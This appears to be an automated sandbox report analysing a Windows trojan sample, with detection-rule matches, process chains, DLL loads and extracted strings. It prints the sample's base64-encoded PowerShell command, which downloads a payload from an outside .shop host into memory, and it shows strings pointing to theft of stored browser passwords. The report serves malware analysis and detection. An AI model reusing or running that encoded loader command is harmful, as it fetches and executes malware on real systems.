Source: 00000000.00000002.2776572796.00000000021C0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: Process Memory Space: powershell.exe PID: 2444, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: sqlite3.dll.5.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: sqlite3.dll.7.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@15/45@8/6

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_0040E2A0 CoCreateInstance,

7_2_0040E2A0

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_004130B0 LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

7_2_004130B0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Synapse
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3780:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hvuz5cwa.nmv.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Source: b6FArHy7yA.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\b6FArHy7yA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');sqlite_sequence
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: b6FArHy7yA.exe, 00000000.00000003.2376935171.000000000329A000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376716254.00000000032B7000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2447087591.00000000032B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;U
Source: ImApp.exe, 00000007.00000002.3546208048.0000000060901000.00000020.00000001.01000000.0000000F.sdmp, ImApp.exe, 00000008.00000002.3757310498.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000B.00000002.3973811139.0000000060901000.00000020.00000001.01000000.0000001E.sdmp, ImApp.exe, 0000000C.00000002.4151716284.0000000060901000.00000020.00000001.01000000.0000001E.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);name='%q' AND type='index'

Source: b6FArHy7yA.exe

ReversingLabs: Detection: 23%

Source: b6FArHy7yA.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: b6FArHy7yA.exe	String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: b6FArHy7yA.exe	String found in binary or memory: CFailed to initialize user section.Failed to verify elevation state.Failed to re-launch bundle process after RunOnce: %lsFailed to get current process path.Unable to get resume command line from the registryFailed to schedule restart.Failed to adjust token to add shutdown privileges.Failed to get shutdown privilege LUID.SeShutdownPrivilegeFailed to get process token.user.cppFailed to pump messages from parent process.Failed to create the message window.Failed to set elevated pipe into thread local storage for logging.Failed to allocate thread local storage for logging.Failed to connect to unelevated process.Failed to launch unelevated process.Failed to create implicit elevated connection name and secret.Unexpected return value from message pump.Failed to start bootstrapper application.Failed to load UX.Failed to create user for UX.Failed while running Failed to set layout directory variable to value provided from command-line.Failed to set registration variables.Failed to set action variables.Failed to query registration.Failed to check global conditionsFailed to connect to elevated parent process.Failed to create pipes to connect to elevated parent process.Failed to initialize internal cache functionality.Failed to open log.Failed to run bootstrapper application embedded.Failed to connect to parent of embedded process.Setup_FailedtxtFailed to run per-user mode.Failed to run per-machine mode.Failed to run embedded mode.Failed to run RunOnce mode.Invalid run mode.Failed to initialize core.3.7.2829.0Failed to get OS info.Failed to initialize XML util.Failed to initialize Wiutil.Failed to initialize Regutil.Failed to initialize COM.Failed to initialize user state.

Source: C:\Users\user\Desktop\b6FArHy7yA.exe

File read: C:\Users\user\Desktop\b6FArHy7yA.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\b6FArHy7yA.exe "C:\Users\user\Desktop\b6FArHy7yA.exe"
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe "C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe"
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Process created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe "C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Process created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: version.dll	Jump to behavior
